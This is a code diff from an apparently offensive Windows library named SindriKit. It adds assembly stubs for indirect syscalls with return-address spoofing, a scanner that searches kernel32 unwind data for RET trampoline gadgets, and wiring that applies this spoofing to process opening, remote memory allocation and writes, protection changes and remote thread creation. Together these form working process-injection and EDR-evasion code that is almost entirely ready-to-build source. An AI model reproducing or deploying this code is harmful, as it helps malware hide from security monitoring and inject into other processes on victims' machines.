|
.code
|
||||||
|
|
||||||
|
PUBLIC snd_syscall_spoofed_invoke_asm
|
||||||
|
|
||||||
|
; snd_syscall_spoofed_invoke_asm(SND_SYSCALL_ARGS* args)
|
||||||
|
snd_syscall_spoofed_invoke_asm PROC FRAME
|
||||||
|
push rbp
|
||||||
|
.PUSHREG rbp
|
||||||
|
push r12
|
||||||
|
.PUSHREG r12
|
||||||
|
mov rbp, rsp
|
||||||
|
.SETFRAME rbp, 0
|
||||||
|
; Allocate 256 bytes to be safe for larger Fat Frames (up to ~240 bytes).
|
||||||
|
sub rsp, 256
|
||||||
|
.ALLOCSTACK 256
|
||||||
|
.ENDPROLOG
|
||||||
|
|
||||||
|
; RCX points to SND_SYSCALL_ARGS struct
|
||||||
|
|
||||||
|
mov r11, [rcx+96] ; sys_addr (gadget)
|
||||||
|
test r11, r11
|
||||||
|
jz InvalidArgs
|
||||||
|
|
||||||
|
mov r8, [rcx+104] ; spoof_addr (trampoline)
|
||||||
|
test r8, r8
|
||||||
|
jz InvalidArgs
|
||||||
|
|
||||||
|
mov r12d, dword ptr [rcx+112] ; spoof_frame_size (DWORD)
|
||||||
|
test r12, r12
|
||||||
|
jz InvalidArgs
|
||||||
|
|
||||||
|
; Build the Top-of-Stack Exposure JMP-Trampoline strictly within our local frame
|
||||||
|
; The syscall gadget expects to return to what is at [rsp].
|
||||||
|
; So we must put the Trampoline (RET) at [rsp+0].
|
||||||
|
mov [rsp+0], r8
|
||||||
|
lea rax, Cleanup
|
||||||
|
mov [rsp+8], rax
|
||||||
|
|
||||||
|
mov rax, [rbp+16]
|
||||||
|
mov [rsp + r12 + 8], rax
|
||||||
|
|
||||||
|
mov rax, [rcx+40] ; arg5
|
||||||
|
mov [rsp+40], rax
|
||||||
|
mov rax, [rcx+48] ; arg6
|
||||||
|
mov [rsp+48], rax
|
||||||
|
mov rax, [rcx+56] ; arg7
|
||||||
|
mov [rsp+56], rax
|
||||||
|
mov rax, [rcx+64] ; arg8
|
||||||
|
mov [rsp+64], rax
|
||||||
|
mov rax, [rcx+72] ; arg9
|
||||||
|
mov [rsp+72], rax
|
||||||
|
mov rax, [rcx+80] ; arg10
|
||||||
|
mov [rsp+80], rax
|
||||||
|
mov rax, [rcx+88] ; arg11
|
||||||
|
mov [rsp+88], rax
|
||||||
|
|
||||||
|
; Extract SSN and arguments 1-4
|
||||||
|
movzx eax, word ptr [rcx] ; ssn is a WORD
|
||||||
|
mov r10, [rcx+8] ; arg1
|
||||||
|
mov rdx, [rcx+16] ; arg2
|
||||||
|
mov r8, [rcx+24] ; arg3
|
||||||
|
mov r9, [rcx+32] ; arg4
|
||||||
|
|
||||||
|
; Jump to the NTDLL syscall gadget
|
||||||
|
jmp r11
|
||||||
|
|
||||||
|
InvalidArgs:
|
||||||
|
mov eax, 0C000000Dh ; STATUS_INVALID_PARAMETER
|
||||||
|
jmp Cleanup
|
||||||
|
|
||||||
|
Cleanup:
|
||||||
|
mov rsp, rbp
|
||||||
|
pop r12
|
||||||
|
pop rbp
|
||||||
|
ret
|
||||||
|
snd_syscall_spoofed_invoke_asm ENDP
|
||||||
|
|
||||||
|
end
|
||||||
@@ -0,0 +1,83 @@
|
|||||||
|
; ===========================================================================
|
||||||
|
; invoke_spoofed_x86.asm - SindriKit Spoofed Syscall Invocation ASM Stub
|
||||||
|
; ===========================================================================
|
||||||
|
;
|
||||||
|
; Exports:
|
||||||
|
; snd_syscall_spoofed_invoke_asm
|
||||||
|
;
|
||||||
|
; Invokes a syscall indirectly by jumping into the middle of the NTDLL stub,
|
||||||
|
; while spoofing the caller's return address on the stack.
|
||||||
|
; ===========================================================================
|
||||||
|
|
||||||
|
.686
|
||||||
|
.model flat, c
|
||||||
|
.code
|
||||||
|
|
||||||
|
PUBLIC snd_syscall_spoofed_invoke_asm
|
||||||
|
|
||||||
|
; NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t* args)
|
||||||
|
snd_syscall_spoofed_invoke_asm PROC
|
||||||
|
push ebp
|
||||||
|
mov ebp, esp
|
||||||
|
|
||||||
|
; Save non-volatile registers
|
||||||
|
push edi
|
||||||
|
push esi
|
||||||
|
push ebx
|
||||||
|
|
||||||
|
mov eax, [ebp+8]
|
||||||
|
|
||||||
|
; Extract sys_addr (offset 48) and spoof_addr (offset 52)
|
||||||
|
mov ecx, [eax+48]
|
||||||
|
test ecx, ecx
|
||||||
|
jz InvalidArgs
|
||||||
|
|
||||||
|
mov edi, [eax+52] ; EDI holds spoof_addr
|
||||||
|
test edi, edi
|
||||||
|
jz InvalidArgs
|
||||||
|
|
||||||
|
GadgetValid:
|
||||||
|
; Push 11 arguments
|
||||||
|
push [eax+44] ; arg11
|
||||||
|
push [eax+40] ; arg10
|
||||||
|
push [eax+36] ; arg9
|
||||||
|
push [eax+32] ; arg8
|
||||||
|
push [eax+28] ; arg7
|
||||||
|
push [eax+24] ; arg6
|
||||||
|
push [eax+20] ; arg5
|
||||||
|
push [eax+16] ; arg4
|
||||||
|
push [eax+12] ; arg3
|
||||||
|
push [eax+8] ; arg2
|
||||||
|
push [eax+4] ; arg1
|
||||||
|
|
||||||
|
; Extract SSN into EAX for the syscall
|
||||||
|
movzx eax, word ptr [eax]
|
||||||
|
|
||||||
|
; Spoof the caller's return address using the Trampoline Gadget (RET)
|
||||||
|
mov esi, [ebp + 4]
|
||||||
|
mov [ebp + 4], edi
|
||||||
|
|
||||||
|
; Push SyscallCleanup onto the stack so the trampoline RET returns here
|
||||||
|
lea edx, SyscallCleanup
|
||||||
|
push edx
|
||||||
|
|
||||||
|
jmp ecx
|
||||||
|
|
||||||
|
InvalidArgs:
|
||||||
|
mov eax, 0C000000Dh
|
||||||
|
jmp Cleanup
|
||||||
|
|
||||||
|
SyscallCleanup:
|
||||||
|
lea esp, [ebp - 12]
|
||||||
|
mov [ebp + 4], esi
|
||||||
|
|
||||||
|
Cleanup:
|
||||||
|
pop ebx
|
||||||
|
pop esi
|
||||||
|
pop edi
|
||||||
|
|
||||||
|
pop ebp
|
||||||
|
ret
|
||||||
|
snd_syscall_spoofed_invoke_asm ENDP
|
||||||
|
|
||||||
|
end
|
||||||
@@ -12,14 +12,12 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
|
|||||||
return SND_ERR(SND_STATUS_NULL_POINTER);
|
return SND_ERR(SND_STATUS_NULL_POINTER);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 1. Get the natively loaded NTDLL from our own PEB
|
PVOID local_ntdll = NULL;
|
||||||
PVOID local_ntdll = NULL;
|
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
|
||||||
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
|
|
||||||
if (SND_FAILED(status) || !local_ntdll) {
|
if (SND_FAILED(status) || !local_ntdll) {
|
||||||
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 2. Resolve the real, executable address of the API using its hash
|
|
||||||
FARPROC exec_addr = NULL;
|
FARPROC exec_addr = NULL;
|
||||||
status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL);
|
status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL);
|
||||||
if (SND_FAILED(status) || !exec_addr) {
|
if (SND_FAILED(status) || !exec_addr) {
|
||||||
@@ -30,7 +28,6 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
|
|||||||
BYTE *ptr = (BYTE *)exec_addr;
|
BYTE *ptr = (BYTE *)exec_addr;
|
||||||
|
|
||||||
// Scan forward a maximum of 32 bytes from the API entry point
|
// Scan forward a maximum of 32 bytes from the API entry point
|
||||||
// looking for the `syscall` (0x0F 0x05) followed by `ret` (0xC3) signature.
|
|
||||||
for (int i = 0; i < 32; i++) {
|
for (int i = 0; i < 32; i++) {
|
||||||
if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) {
|
if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) {
|
||||||
entry->pSyscallAddr = (PVOID)&ptr[i];
|
entry->pSyscallAddr = (PVOID)&ptr[i];
|
||||||
@@ -38,23 +35,10 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return SND_ERR(SND_STATUS_SSN_NOT_FOUND); // Gadget not found within bounds
|
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
|
||||||
#elif defined(_WIN32)
|
#elif defined(_WIN32)
|
||||||
BYTE *ptr = (BYTE *)exec_addr;
|
BYTE *ptr = (BYTE *)exec_addr;
|
||||||
|
|
||||||
// We scan for the start of the `call dword ptr fs:[0xC0]` or `sysenter` block
|
|
||||||
// Actually, on x86, the best gadget is the entire NTDLL stub starting at the `mov edx, esp`
|
|
||||||
// or just after the `mov eax, SSN`.
|
|
||||||
// The typical NTDLL stub on x86 looks like:
|
|
||||||
// mov eax, <SSN>
|
|
||||||
// mov edx, <wow64_transition> or mov edx, esp
|
|
||||||
// call dword ptr fs:[0xC0] or sysenter or call edx
|
|
||||||
// ret XX
|
|
||||||
//
|
|
||||||
// The easiest and safest way to do indirect syscall on x86 is to jump to `exec_addr + 5`.
|
|
||||||
// `exec_addr` points to `mov eax, <SSN>` which is exactly 5 bytes (B8 XX XX 00 00).
|
|
||||||
// The instructions after that handle the transition safely for the specific OS version.
|
|
||||||
|
|
||||||
// We check if it starts with `mov eax` (0xB8)
|
// We check if it starts with `mov eax` (0xB8)
|
||||||
if (ptr[0] == 0xB8) {
|
if (ptr[0] == 0xB8) {
|
||||||
entry->pSyscallAddr = (PVOID)&ptr[5];
|
entry->pSyscallAddr = (PVOID)&ptr[5];
|
||||||
|
|||||||
@@ -0,0 +1,149 @@
|
|||||||
|
#include <sindri/common/debug.h>
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/common/status.h>
|
||||||
|
#include <sindri/parsers/env/peb.h>
|
||||||
|
#include <sindri/parsers/pe/exports.h>
|
||||||
|
#include <sindri/parsers/pe/parser.h>
|
||||||
|
#include <sindri/primitives/syscalls.h>
|
||||||
|
#include <sindri_hashes.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
|
||||||
|
if (entry == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NULL_POINTER);
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID kernel32 = NULL;
|
||||||
|
|
||||||
|
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_KERNEL32_DLL, &kernel32);
|
||||||
|
|
||||||
|
if (SND_FAILED(status)) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID gadget = NULL;
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)kernel32;
|
||||||
|
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)kernel32 + dos->e_lfanew);
|
||||||
|
DWORD pdata_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
|
||||||
|
DWORD pdata_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
|
||||||
|
|
||||||
|
if (pdata_rva != 0 && pdata_size != 0) {
|
||||||
|
PRUNTIME_FUNCTION pdata = (PRUNTIME_FUNCTION)((ULONG_PTR)kernel32 + pdata_rva);
|
||||||
|
DWORD pdata_count = pdata_size / sizeof(RUNTIME_FUNCTION);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < pdata_count; i++) {
|
||||||
|
PRUNTIME_FUNCTION func = &pdata[i];
|
||||||
|
|
||||||
|
if (func->UnwindData == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
PBYTE unwind_info = (PBYTE)((ULONG_PTR)kernel32 + func->UnwindData);
|
||||||
|
|
||||||
|
BYTE version = unwind_info[0] & 7;
|
||||||
|
BYTE flags = unwind_info[0] >> 3;
|
||||||
|
|
||||||
|
if ((version != 1 && version != 2) || (flags & 4) != 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
BYTE countOfCodes = unwind_info[2];
|
||||||
|
PBYTE codes = unwind_info + 4;
|
||||||
|
|
||||||
|
DWORD frame_size = 0;
|
||||||
|
|
||||||
|
for (BYTE j = 0; j < countOfCodes;) {
|
||||||
|
BYTE unwindOp = codes[j * 2 + 1] & 0x0F;
|
||||||
|
BYTE opInfo = codes[j * 2 + 1] >> 4;
|
||||||
|
|
||||||
|
switch (unwindOp) {
|
||||||
|
case 0: // UWOP_PUSH_NONVOL
|
||||||
|
frame_size += 8;
|
||||||
|
j += 1;
|
||||||
|
break;
|
||||||
|
case 1: // UWOP_ALLOC_LARGE
|
||||||
|
if (opInfo == 0) {
|
||||||
|
frame_size += (*(USHORT *)(&codes[(j + 1) * 2])) * 8;
|
||||||
|
j += 2;
|
||||||
|
} else {
|
||||||
|
frame_size += (*(DWORD *)(&codes[(j + 1) * 2]));
|
||||||
|
j += 3;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 2: // UWOP_ALLOC_SMALL
|
||||||
|
frame_size += (opInfo * 8) + 8;
|
||||||
|
j += 1;
|
||||||
|
break;
|
||||||
|
case 3: // UWOP_SET_FPREG
|
||||||
|
j += 1;
|
||||||
|
break;
|
||||||
|
case 4: // UWOP_SAVE_NONVOL
|
||||||
|
j += 2;
|
||||||
|
break;
|
||||||
|
case 5: // UWOP_SAVE_NONVOL_FAR
|
||||||
|
j += 3;
|
||||||
|
break;
|
||||||
|
case 8: // UWOP_SAVE_XMM128
|
||||||
|
j += 2;
|
||||||
|
break;
|
||||||
|
case 9: // UWOP_SAVE_XMM128_FAR
|
||||||
|
j += 3;
|
||||||
|
break;
|
||||||
|
case 10: // UWOP_PUSH_MACHFRAME
|
||||||
|
j += 1;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
j += 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (frame_size >= 120) {
|
||||||
|
PBYTE func_body = (PBYTE)((ULONG_PTR)kernel32 + func->BeginAddress);
|
||||||
|
DWORD func_size = func->EndAddress - func->BeginAddress;
|
||||||
|
|
||||||
|
for (DWORD k = 0; k < func_size; k++) {
|
||||||
|
if (func_body[k] == 0xC3) { // RET
|
||||||
|
gadget = &func_body[k];
|
||||||
|
entry->dwSpoofFrameSize = frame_size;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadget)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
FARPROC exec_addr = NULL;
|
||||||
|
|
||||||
|
status = snd_pe_get_export_address_hash(kernel32, SND_SYS_DLL_SIZE_DEFAULT, SND_HASH_BASETHREADINITTHUNK,
|
||||||
|
&exec_addr, NULL);
|
||||||
|
|
||||||
|
if (SND_FAILED(status) || !exec_addr) {
|
||||||
|
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
|
||||||
|
}
|
||||||
|
// x86 fallback: basic RET scan since there is no .pdata
|
||||||
|
PBYTE scanner = (PBYTE)exec_addr;
|
||||||
|
for (int i = 0; i < 65535; i++) {
|
||||||
|
if (scanner[i] == 0xC3) { // ret
|
||||||
|
gadget = &scanner[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (scanner[-i] == 0xC3) { // ret
|
||||||
|
gadget = &scanner[-i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
if (!gadget) {
|
||||||
|
return SND_ERR_CTX(SND_STATUS_GADGET_NOT_FOUND, "Could not find a trampoline gadget in kernel32.");
|
||||||
|
}
|
||||||
|
|
||||||
|
entry->pSpoofAddr = gadget;
|
||||||
|
|
||||||
|
return SND_OK;
|
||||||
|
}
|
||||||
@@ -15,6 +15,7 @@ static int g_strategy_count = 0;
|
|||||||
|
|
||||||
snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT;
|
snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT;
|
||||||
snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT;
|
snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT;
|
||||||
|
snd_syscall_gadget_finder_t g_syscall_spoof_finder = SND_SYSCALL_SPOOF_FINDER_DEFAULT;
|
||||||
|
|
||||||
void snd_syscall_set_ntdll(PVOID ntdll_base) {
|
void snd_syscall_set_ntdll(PVOID ntdll_base) {
|
||||||
if (!ntdll_base)
|
if (!ntdll_base)
|
||||||
@@ -34,6 +35,12 @@ void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder) {
|
|||||||
g_syscall_gadget_finder = finder;
|
g_syscall_gadget_finder = finder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void snd_syscall_set_spoof_finder(snd_syscall_gadget_finder_t finder) {
|
||||||
|
if (!finder)
|
||||||
|
return;
|
||||||
|
g_syscall_spoof_finder = finder;
|
||||||
|
}
|
||||||
|
|
||||||
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) {
|
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) {
|
||||||
if (!resolver)
|
if (!resolver)
|
||||||
return;
|
return;
|
||||||
@@ -75,6 +82,9 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
|
|||||||
if (g_syscall_gadget_finder != NULL) {
|
if (g_syscall_gadget_finder != NULL) {
|
||||||
status = g_syscall_gadget_finder(entry_out);
|
status = g_syscall_gadget_finder(entry_out);
|
||||||
}
|
}
|
||||||
|
if (g_syscall_spoof_finder != NULL) {
|
||||||
|
status = g_syscall_spoof_finder(entry_out);
|
||||||
|
}
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,6 +25,8 @@ static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = out_handle;
|
args.arg1 = out_handle;
|
||||||
args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ;
|
args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ;
|
||||||
args.arg3 = &obj_attr;
|
args.arg3 = &obj_attr;
|
||||||
@@ -52,6 +54,8 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = section_handle;
|
args.arg1 = section_handle;
|
||||||
args.arg2 = GetCurrentProcess();
|
args.arg2 = GetCurrentProcess();
|
||||||
args.arg3 = &base_address;
|
args.arg3 = &base_address;
|
||||||
@@ -88,6 +92,8 @@ static snd_status_t WINAPI sys_mapping_close(HANDLE handle) {
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = handle;
|
args.arg1 = handle;
|
||||||
|
|
||||||
if (g_syscall_invoker == NULL) {
|
if (g_syscall_invoker == NULL) {
|
||||||
|
|||||||
@@ -26,6 +26,8 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = processHandle;
|
args.arg1 = processHandle;
|
||||||
args.arg2 = &baseAddress;
|
args.arg2 = &baseAddress;
|
||||||
args.arg3 = 0;
|
args.arg3 = 0;
|
||||||
@@ -61,6 +63,8 @@ static snd_status_t WINAPI sys_free(LPVOID address, SIZE_T size, DWORD free_type
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = processHandle;
|
args.arg1 = processHandle;
|
||||||
args.arg2 = &baseAddress;
|
args.arg2 = &baseAddress;
|
||||||
args.arg3 = ®ionSize;
|
args.arg3 = ®ionSize;
|
||||||
@@ -87,6 +91,8 @@ static snd_status_t WINAPI sys_protect(LPVOID address, SIZE_T size, DWORD new_pr
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = processHandle;
|
args.arg1 = processHandle;
|
||||||
args.arg2 = &baseAddress;
|
args.arg2 = &baseAddress;
|
||||||
args.arg3 = ®ionSize;
|
args.arg3 = ®ionSize;
|
||||||
|
|||||||
@@ -27,6 +27,8 @@ static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HAN
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = out_process;
|
args.arg1 = out_process;
|
||||||
args.arg2 = (PVOID)(ULONG_PTR)desired_access;
|
args.arg2 = (PVOID)(ULONG_PTR)desired_access;
|
||||||
args.arg3 = &oa;
|
args.arg3 = &oa;
|
||||||
@@ -56,6 +58,8 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = process;
|
args.arg1 = process;
|
||||||
args.arg2 = &local_base;
|
args.arg2 = &local_base;
|
||||||
args.arg3 = 0;
|
args.arg3 = 0;
|
||||||
@@ -86,6 +90,8 @@ static snd_status_t WINAPI sys_write_remote(HANDLE process, PVOID base_address,
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = process;
|
args.arg1 = process;
|
||||||
args.arg2 = base_address;
|
args.arg2 = base_address;
|
||||||
args.arg3 = (PVOID)buffer;
|
args.arg3 = (PVOID)buffer;
|
||||||
@@ -115,6 +121,8 @@ static snd_status_t WINAPI sys_protect_remote(HANDLE process, PVOID base_address
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = process;
|
args.arg1 = process;
|
||||||
args.arg2 = &addr;
|
args.arg2 = &addr;
|
||||||
args.arg3 = ®ionSize;
|
args.arg3 = ®ionSize;
|
||||||
@@ -144,6 +152,8 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = out_thread;
|
args.arg1 = out_thread;
|
||||||
args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF;
|
args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF;
|
||||||
args.arg3 = NULL;
|
args.arg3 = NULL;
|
||||||
@@ -172,6 +182,8 @@ static snd_status_t WINAPI sys_close_handle(HANDLE handle) {
|
|||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
args.arg1 = handle;
|
args.arg1 = handle;
|
||||||
|
|
||||||
if (g_syscall_invoker == NULL) {
|
if (g_syscall_invoker == NULL) {
|
||||||
|
|||||||
Reference in New Issue
Block a user